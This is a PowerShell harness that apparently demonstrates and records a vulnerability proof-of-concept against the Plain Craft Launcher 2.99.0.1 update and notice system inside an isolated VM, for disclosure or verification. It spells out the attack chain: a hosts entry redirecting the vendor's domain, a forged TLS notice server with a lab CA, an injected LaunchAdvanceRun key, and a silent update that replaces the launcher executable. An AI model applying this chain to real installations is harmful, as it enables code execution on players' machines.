demo.ps1 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420
  1. # PCL 2.99.0.1 notice/silent-update PoC demo
  2. # Runs elevated in the interactive desktop session, from the USB toolkit.
  3. # ASCII only. Windows PowerShell 5.1 compatible.
  4. $ErrorActionPreference = 'Stop'
  5. $Root = $PSScriptRoot
  6. $Ev = Join-Path $Root 'evidence'
  7. New-Item -ItemType Directory -Force -Path $Ev | Out-Null
  8. $Timeline = Join-Path $Ev 'demo-timeline.csv'
  9. Remove-Item -LiteralPath $Timeline -Force -ErrorAction SilentlyContinue
  10. try { Start-Transcript -Path (Join-Path $Ev 'demo-transcript.txt') -Append | Out-Null } catch { }
  11. . (Join-Path $Root 'lib-gui.ps1')
  12. [void][PclGui]::SetProcessDPIAware()
  13. Add-Type -AssemblyName System.Windows.Forms
  14. Add-Type -AssemblyName System.Drawing
  15. $Desktop = [Environment]::GetFolderPath('Desktop')
  16. $PclDir = Join-Path $Desktop 'PCL'
  17. $PclExe = Join-Path $PclDir 'Plain Craft Launcher 2.exe'
  18. $PocDir = 'C:\PCLPoC'
  19. $SourceZip = Join-Path $Root 'PCL-2.99.0.1.zip'
  20. $DesktopZip = Join-Path $Desktop 'PCL-2.99.0.1.zip'
  21. $Marker = Join-Path $env:TEMP 'pcl-poc-marker.txt'
  22. $ConsoleW = 0
  23. $ConsoleH = 0
  24. $PclX = 0
  25. $PclW = 0
  26. $Arranger = $null
  27. function Log([string]$Message) {
  28. $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
  29. try { Add-Content -LiteralPath (Join-Path $Ev 'demo.log') -Value $line -Encoding UTF8 } catch { }
  30. }
  31. function Mark([string]$Id, [string]$Note) {
  32. $ms = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()
  33. Add-Content -LiteralPath $Timeline -Value ('{0},{1},{2}' -f $Id, $ms, $Note) -Encoding ASCII
  34. Log ('mark ' + $Id + ' ' + $Note)
  35. }
  36. function Shot([string]$Name) {
  37. try {
  38. $b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
  39. $bmp = New-Object System.Drawing.Bitmap $b.Width, $b.Height
  40. $g = [System.Drawing.Graphics]::FromImage($bmp)
  41. $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size)
  42. $bmp.Save((Join-Path $Ev $Name), [System.Drawing.Imaging.ImageFormat]::Png)
  43. $g.Dispose()
  44. $bmp.Dispose()
  45. Log ('screenshot ' + $Name)
  46. } catch {
  47. Log ('screenshot failed: ' + $_.Exception.Message)
  48. }
  49. }
  50. function Step([string]$Id, [string]$Text) {
  51. Mark $Id $Text
  52. Clear-Host
  53. Write-Host '==============================================================' -ForegroundColor DarkGray
  54. Write-Host (' PCL 2.99.0.1 PoC demo | ' + $Id) -ForegroundColor Cyan
  55. Write-Host '==============================================================' -ForegroundColor DarkGray
  56. Write-Host ''
  57. Write-Host $Text -ForegroundColor Yellow
  58. Write-Host ''
  59. }
  60. function Section([string]$Text) {
  61. Write-Host ''
  62. Write-Host ('--- ' + $Text + ' ---') -ForegroundColor Cyan
  63. }
  64. function Set-PclWindowSize {
  65. $iniDir = Join-Path $PclDir 'PCL'
  66. New-Item -ItemType Directory -Force -Path $iniDir | Out-Null
  67. $ini = Join-Path $iniDir 'Setup.ini'
  68. $lines = @()
  69. if (Test-Path -LiteralPath $ini) {
  70. $lines = @(Get-Content -LiteralPath $ini | Where-Object { $_ -notmatch '^WindowWidth=' -and $_ -notmatch '^WindowHeight=' })
  71. }
  72. $lines += ('WindowWidth=' + [string]([Math]::Max(700, $PclW - 30)))
  73. $lines += ('WindowHeight=' + [string]([Math]::Max(500, $ConsoleH - 70)))
  74. Set-Content -LiteralPath $ini -Value $lines -Encoding ASCII
  75. }
  76. function Open-DesktopWindow {
  77. try {
  78. Start-Process -FilePath 'explorer.exe' -ArgumentList $Desktop | Out-Null
  79. Start-Sleep -Seconds 2
  80. for ($i = 0; $i -lt 12; $i++) {
  81. $w = Get-Process explorer -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowTitle -eq 'Desktop' } | Select-Object -First 1
  82. if ($w -and $w.MainWindowHandle -ne 0) {
  83. [PclGui]::Move($w.MainWindowHandle, $PclX, 0, $PclW, $ConsoleH)
  84. return $w
  85. }
  86. Start-Sleep -Milliseconds 500
  87. }
  88. } catch { }
  89. return $null
  90. }
  91. function Refresh-DesktopWindow {
  92. param($Window)
  93. if (-not $Window) { return }
  94. try {
  95. $ws = New-Object -ComObject WScript.Shell
  96. $ws.AppActivate($Window.Id) | Out-Null
  97. Start-Sleep -Milliseconds 300
  98. $ws.SendKeys('{F5}')
  99. } catch { }
  100. }
  101. function Close-DesktopWindow {
  102. param($Window)
  103. if (-not $Window) { return }
  104. try { $Window.CloseMainWindow() | Out-Null } catch { }
  105. }
  106. function Show-PclLog {
  107. $logDir = Join-Path $PclDir 'PCL'
  108. $logs = @(Get-ChildItem -Path $logDir -Filter 'Log*.txt' -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending)
  109. if ($logs.Count -eq 0) {
  110. Write-Host ' (no PCL log found)' -ForegroundColor Red
  111. return
  112. }
  113. $log = $logs[0]
  114. Write-Host (' PCL log: ' + $log.FullName) -ForegroundColor Gray
  115. $hits = @(Select-String -LiteralPath $log.FullName -Pattern 'LaunchAdvanceRun|setup' -Encoding UTF8 -ErrorAction SilentlyContinue)
  116. $printed = 0
  117. foreach ($h in $hits) {
  118. $line = $h.Line.Trim()
  119. $idx = $line.IndexOf('LaunchAdvanceRun')
  120. if ($idx -gt 80) {
  121. $start = [Math]::Max(0, $idx - 60)
  122. $line = '...' + $line.Substring($start, [Math]::Min(220, $line.Length - $start))
  123. }
  124. if ($line.Length -gt 260) { $line = $line.Substring(0, 260) + '...' }
  125. Write-Host (' ' + $h.LineNumber.ToString() + ': ' + $line) -ForegroundColor Yellow
  126. $printed++
  127. if ($printed -ge 6) { break }
  128. }
  129. if ($printed -eq 0) {
  130. Write-Host ' (no LaunchAdvanceRun/setup line in the newest PCL log)' -ForegroundColor Red
  131. }
  132. }
  133. try {
  134. & tzutil.exe /s 'China Standard Time' 2>$null | Out-Null
  135. Write-Host 'Waiting for the desktop ...'
  136. for ($i = 0; $i -lt 90; $i++) {
  137. if (Get-Process explorer -ErrorAction SilentlyContinue) { break }
  138. Start-Sleep -Seconds 1
  139. }
  140. Start-Sleep -Seconds 6
  141. $res = [PclGui]::SetBestResolution()
  142. Start-Sleep -Seconds 3
  143. $wa = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea
  144. $screenW = $wa.Width
  145. $screenH = $wa.Height
  146. $PclW = [Math]::Max(900, [int]($screenW * 0.52))
  147. $ConsoleW = $screenW - $PclW - 4
  148. $PclX = $ConsoleW + 4
  149. $ConsoleH = $screenH
  150. $fontSize = 18
  151. if ($screenH -lt 900) { $fontSize = 16 }
  152. [void][PclGui]::SetConsoleFont($fontSize)
  153. $cols = [Math]::Max(60, [int](($ConsoleW - 30) / 8.6))
  154. $rows = [Math]::Max(24, [int](($ConsoleH - 60) / ($fontSize + 4)))
  155. Set-ConsoleSize -Columns $cols -Rows $rows
  156. if ($screenW -ge 1800 -and $screenH -ge 1000) { Set-ConsoleSize -Columns 66 -Rows 36 }
  157. $hwnd = [PclGui]::GetConsoleWindow()
  158. [PclGui]::Move($hwnd, 0, 0, $ConsoleW, $ConsoleH)
  159. $Host.UI.RawUI.WindowTitle = 'PCL 2.99.0.1 PoC - Demo'
  160. Log ('resolution=' + $res + ' screen=' + $screenW + 'x' + $screenH + ' console=' + $ConsoleW + 'x' + $ConsoleH + ' pcl=' + $PclW)
  161. if (-not (Test-Path -LiteralPath (Join-Path $PocDir 'Invoke-PCLPoC.ps1'))) {
  162. throw 'C:\PCLPoC is missing; prepare.ps1 did not copy the PoC toolkit.'
  163. }
  164. $Arranger = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
  165. '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'arrange-windows.ps1'),
  166. '-ConsoleHwnd', ([string]$hwnd.ToInt64()),
  167. '-X', '0', '-Y', '0', '-W', ([string]$ConsoleW), '-H', ([string]$ConsoleH),
  168. '-PclX', ([string]$PclX), '-PclW', ([string]$PclW), '-Minutes', '20'
  169. ) -PassThru -WindowStyle Hidden
  170. Step 'step1' 'Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).'
  171. Write-Host (' computer : ' + $env:COMPUTERNAME) -ForegroundColor Gray
  172. Write-Host (' user : ' + $env:USERNAME) -ForegroundColor Gray
  173. Write-Host (' OS : ' + (Get-CimInstance Win32_OperatingSystem).Caption) -ForegroundColor Gray
  174. Write-Host (' display : ' + $res + ' (' + $screenW + 'x' + $screenH + ')') -ForegroundColor Gray
  175. Write-Host ' network : no NIC attached' -ForegroundColor Gray
  176. Start-Sleep -Seconds 5
  177. Step 'step2' 'Copy PCL 2.99.0.1.zip to the Desktop.'
  178. Copy-Item -LiteralPath $SourceZip -Destination $DesktopZip -Force
  179. $zipHash = (Get-FileHash -LiteralPath $DesktopZip -Algorithm SHA256).Hash
  180. Write-Host (' ' + $DesktopZip) -ForegroundColor Gray
  181. Write-Host (' size : ' + (Get-Item -LiteralPath $DesktopZip).Length + ' bytes') -ForegroundColor Gray
  182. Write-Host (' sha256 : ' + $zipHash) -ForegroundColor Gray
  183. if ($zipHash -ne '4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830') {
  184. throw 'PCL zip hash mismatch: ' + $zipHash
  185. }
  186. Start-Sleep -Seconds 5
  187. Step 'step3' 'Extract the new PCL to Desktop\PCL.'
  188. if (Test-Path -LiteralPath $PclDir) {
  189. Remove-Item -LiteralPath $PclDir -Recurse -Force
  190. }
  191. Expand-Archive -LiteralPath $DesktopZip -DestinationPath $PclDir -Force
  192. $pclHash = (Get-FileHash -LiteralPath $PclExe -Algorithm SHA256).Hash
  193. Write-Host (' ' + $PclExe) -ForegroundColor Gray
  194. Write-Host (' size : ' + (Get-Item -LiteralPath $PclExe).Length + ' bytes') -ForegroundColor Gray
  195. Write-Host (' sha256 : ' + $pclHash) -ForegroundColor Gray
  196. if ($pclHash -ne '0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397') {
  197. throw 'PCL exe hash mismatch: ' + $pclHash
  198. }
  199. Start-Sleep -Seconds 5
  200. $layers = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers'
  201. New-Item -Path $layers -Force | Out-Null
  202. Set-ItemProperty -Path $layers -Name $PclExe -Value '~ HIGHDPIAWARE'
  203. Step 'step4' 'Run the PoC: forged notice server, hosts entry and a lab CA.'
  204. Write-Host ' target : pcl2-server-1253424809.file.myqcloud.com' -ForegroundColor Gray
  205. Write-Host ' hosts : 127.0.0.1' -ForegroundColor Gray
  206. Write-Host ' server : https://127.0.0.1:443 (PowerShell TlsListener)' -ForegroundColor Gray
  207. Write-Host ' notice : id 11002, importantLevel 999' -ForegroundColor Gray
  208. Write-Host ''
  209. Write-Host ' notice.json -> actions.setup:' -ForegroundColor Yellow
  210. Write-Host ' "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"' -ForegroundColor White
  211. Write-Host ''
  212. Write-Host ' Starting the PoC and PCL ...' -ForegroundColor Cyan
  213. Write-Host ''
  214. $closer = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
  215. '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'close-pcl.ps1'), '-PclDir', $PclDir, '-MaxSeconds', '35'
  216. ) -PassThru -WindowStyle Hidden
  217. & powershell.exe -NoProfile -ExecutionPolicy Bypass -File (Join-Path $PocDir 'Invoke-PCLPoC.ps1') -Mode launch -PclPath $PclExe -Timeout 40
  218. Start-Sleep -Seconds 2
  219. if ($closer -and -not $closer.HasExited) {
  220. Stop-Process -Id $closer.Id -Force -ErrorAction SilentlyContinue
  221. }
  222. Mark 'method1' 'method 1: notice.json -> setup -> LaunchAdvanceRun'
  223. Section 'Method 1 result'
  224. if (Test-Path -LiteralPath $Marker) {
  225. Write-Host ' marker exists: the payload ran.' -ForegroundColor Red
  226. } else {
  227. Write-Host ' no marker: LaunchAdvanceRun was not executed.' -ForegroundColor Yellow
  228. }
  229. Show-PclLog
  230. Write-Host ''
  231. Write-Host ' 2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.' -ForegroundColor Yellow
  232. Mark 'blocked' '2.99.0.1 blocks LaunchAdvanceRun'
  233. $m1 = Join-Path $Ev 'method1'
  234. New-Item -ItemType Directory -Force -Path $m1 | Out-Null
  235. Copy-Item -LiteralPath (Join-Path $PocDir 'poc-run.log') -Destination (Join-Path $m1 'poc-run.log') -Force -ErrorAction SilentlyContinue
  236. Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.out.log') -Destination (Join-Path $m1 'server.out.log') -Force -ErrorAction SilentlyContinue
  237. Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.err.log') -Destination (Join-Path $m1 'server.err.log') -Force -ErrorAction SilentlyContinue
  238. Copy-Item -Path (Join-Path $PclDir 'PCL\Log*.txt') -Destination $m1 -Force -ErrorAction SilentlyContinue
  239. Start-Sleep -Seconds 10
  240. Step 'step6' 'Delete the entire PCL directory.'
  241. Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.ProcessName -like '*Plain*' } | Stop-Process -Force -ErrorAction SilentlyContinue
  242. Start-Sleep -Seconds 2
  243. if (Test-Path -LiteralPath $PclDir) {
  244. Remove-Item -LiteralPath $PclDir -Recurse -Force
  245. }
  246. Write-Host (' ' + $PclDir) -ForegroundColor Gray
  247. Write-Host (' exists after delete: ' + (Test-Path -LiteralPath $PclDir)) -ForegroundColor Gray
  248. Write-Host ''
  249. Write-Host ' A clean copy is extracted again for method 2.' -ForegroundColor DarkGray
  250. Start-Sleep -Seconds 6
  251. Step 'step7' 'Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.'
  252. Expand-Archive -LiteralPath $DesktopZip -DestinationPath $PclDir -Force
  253. Set-PclWindowSize
  254. Write-Host ' notice.cfg : 11002|0|0|0|999' -ForegroundColor Gray
  255. Write-Host ' ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip' -ForegroundColor Gray
  256. Write-Host ' update.zip : Plain Craft Launcher 2.exe (payload)' -ForegroundColor Gray
  257. Write-Host ''
  258. Write-Host ' Starting the PoC and PCL ...' -ForegroundColor Cyan
  259. Write-Host ''
  260. $watcher = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
  261. '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'watch-staging.ps1'),
  262. '-PclDir', $PclDir, '-Evidence', $Ev
  263. ) -PassThru -WindowStyle Hidden
  264. & powershell.exe -NoProfile -ExecutionPolicy Bypass -File (Join-Path $PocDir 'Invoke-PCLPoC.ps1') -Mode update -PclPath $PclExe -Timeout 60 -KeepArtifacts
  265. Start-Sleep -Seconds 2
  266. if ($watcher) { Wait-Process -Id $watcher.Id -Timeout 15 -ErrorAction SilentlyContinue }
  267. Mark 'success' 'method 2: slientupdate -> arbitrary exe (success)'
  268. Section 'Method 2 result'
  269. if (-not (Test-Path -LiteralPath $Marker)) {
  270. throw 'No marker after the update PoC.'
  271. }
  272. $markerText = (Get-Content -LiteralPath $Marker -Raw).Trim()
  273. Write-Host ' marker:' -ForegroundColor Green
  274. Write-Host (' ' + $markerText) -ForegroundColor White
  275. Write-Host ''
  276. $staging = Join-Path $Ev 'staging.exe'
  277. $stagingHash = 'missing'
  278. if (Test-Path -LiteralPath $staging) {
  279. $stagingHash = (Get-FileHash -LiteralPath $staging -Algorithm SHA256).Hash
  280. Write-Host (' staged exe : ' + $staging + ' (' + (Get-Item -LiteralPath $staging).Length + ' bytes)') -ForegroundColor Gray
  281. Write-Host (' sha256 : ' + $stagingHash) -ForegroundColor Gray
  282. } else {
  283. Write-Host ' staged exe : watcher did not catch it' -ForegroundColor Red
  284. }
  285. $entryHash = 'missing'
  286. $entryOut = $null
  287. $zipPath = Join-Path $PocDir 'www\update.zip'
  288. if (Test-Path -LiteralPath $zipPath) {
  289. Add-Type -AssemblyName System.IO.Compression.FileSystem
  290. $zip = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
  291. try {
  292. $entry = $zip.Entries | Where-Object { $_.FullName -eq 'Plain Craft Launcher 2.exe' } | Select-Object -First 1
  293. if ($entry) {
  294. $entryOut = Join-Path $Ev 'zip-entry.exe'
  295. [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entryOut, $true)
  296. $entryHash = (Get-FileHash -LiteralPath $entryOut -Algorithm SHA256).Hash
  297. Write-Host (' update.zip : Plain Craft Launcher 2.exe (' + $entry.Length + ' bytes)') -ForegroundColor Gray
  298. Write-Host (' entry sha256: ' + $entryHash) -ForegroundColor Gray
  299. }
  300. } finally {
  301. $zip.Dispose()
  302. }
  303. }
  304. if ($stagingHash -ne 'missing' -and $entryHash -ne 'missing') {
  305. if ($stagingHash -eq $entryHash) {
  306. Write-Host ' hash match : the downloaded zip entry ran.' -ForegroundColor Green
  307. } else {
  308. Write-Host ' hash mismatch: staging vs zip entry.' -ForegroundColor Red
  309. }
  310. }
  311. $calc = Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.ProcessName -like '*calc*' -or $_.MainWindowTitle -like '*Calculator*' } | Select-Object -First 1
  312. if ($calc) {
  313. Write-Host ' calc.exe : started (visible on the right)' -ForegroundColor Green
  314. } else {
  315. Write-Host ' calc.exe : not present in LTSC; marker is the execution proof.' -ForegroundColor Yellow
  316. }
  317. $m2 = Join-Path $Ev 'method2'
  318. New-Item -ItemType Directory -Force -Path $m2 | Out-Null
  319. Copy-Item -LiteralPath $Marker -Destination (Join-Path $m2 'marker.txt') -Force -ErrorAction SilentlyContinue
  320. Copy-Item -LiteralPath $Marker -Destination (Join-Path $Ev 'marker.txt') -Force -ErrorAction SilentlyContinue
  321. Copy-Item -LiteralPath (Join-Path $PocDir 'poc-run.log') -Destination (Join-Path $m2 'poc-run.log') -Force -ErrorAction SilentlyContinue
  322. Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.out.log') -Destination (Join-Path $m2 'server.out.log') -Force -ErrorAction SilentlyContinue
  323. Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.err.log') -Destination (Join-Path $m2 'server.err.log') -Force -ErrorAction SilentlyContinue
  324. Copy-Item -LiteralPath $zipPath -Destination (Join-Path $m2 'update.zip') -Force -ErrorAction SilentlyContinue
  325. Copy-Item -Path (Join-Path $PclDir 'PCL\Log*.txt') -Destination $m2 -Force -ErrorAction SilentlyContinue
  326. if (Test-Path -LiteralPath $staging) { Copy-Item -LiteralPath $staging -Destination $m2 -Force -ErrorAction SilentlyContinue }
  327. if ($entryOut -and (Test-Path -LiteralPath $entryOut)) { Copy-Item -LiteralPath $entryOut -Destination $m2 -Force -ErrorAction SilentlyContinue }
  328. Start-Sleep -Seconds 8
  329. $resultText = @(
  330. 'PCL 2.99.0.1 PoC - VM demo result',
  331. '=================================',
  332. 'VM : Windows 10 Enterprise LTSC 2021 (isolated, no NIC)',
  333. 'PCL : 2.99.0.1 (build 415)',
  334. '',
  335. 'Method 1 : notice.json -> setup -> LaunchAdvanceRun',
  336. ' BLOCKED by the 2.99.0.1 setup blacklist.',
  337. ' PCL log: rejected key LaunchAdvanceRun.',
  338. ' payload marker: absent.',
  339. '',
  340. 'Method 2 : notice.cfg -> slientupdate -> ServerConfig -> update.zip -> exe',
  341. ' SUCCESS, zero-click.',
  342. ' marker: ' + ($markerText -replace "`r?`n", ' | '),
  343. ' staged exe sha256: ' + $stagingHash,
  344. ' update.zip entry sha256: ' + $entryHash,
  345. '',
  346. 'Conclusion: 2.99.0.1 blocks method 1 only; method 2 still',
  347. 'replaces the launcher on exit.'
  348. ) -join "`r`n"
  349. Set-Content -LiteralPath (Join-Path $Ev 'RESULT.txt') -Value $resultText -Encoding ASCII
  350. Section 'Summary'
  351. Write-Host ' Method 1 (setup -> LaunchAdvanceRun): BLOCKED' -ForegroundColor Yellow
  352. Write-Host ' Method 2 (slientupdate -> exe) : SUCCESS' -ForegroundColor Green
  353. Write-Host ''
  354. Write-Host ' Opening RESULT.txt on the right ...' -ForegroundColor Cyan
  355. $notepad = Start-Process -FilePath 'notepad.exe' -ArgumentList (Join-Path $Ev 'RESULT.txt') -PassThru
  356. Start-Sleep -Seconds 3
  357. if ($notepad -and $notepad.MainWindowHandle -ne 0) {
  358. [PclGui]::Move($notepad.MainWindowHandle, $PclX, 0, $PclW, $ConsoleH)
  359. }
  360. Mark 'end' 'demo end'
  361. Shot 'final-desktop.png'
  362. Start-Sleep -Seconds 14
  363. try { Stop-Transcript | Out-Null } catch { }
  364. Start-Sleep -Seconds 2
  365. & shutdown.exe /s /t 8 /f /c 'PCL PoC demo complete'
  366. } catch {
  367. $message = $_.Exception.Message
  368. Write-Host ''
  369. Write-Host ('ERROR: ' + $message) -ForegroundColor Red
  370. Log ('ERROR: ' + $message)
  371. try { Shot 'error.png' } catch { }
  372. try { Set-Content -LiteralPath (Join-Path $Ev 'ERROR.txt') -Value $_.Exception.ToString() -Encoding UTF8 } catch { }
  373. Mark 'error' 'demo error'
  374. Start-Sleep -Seconds 20
  375. try { Stop-Transcript | Out-Null } catch { }
  376. & shutdown.exe /s /t 5 /f /c 'PCL PoC demo error'
  377. }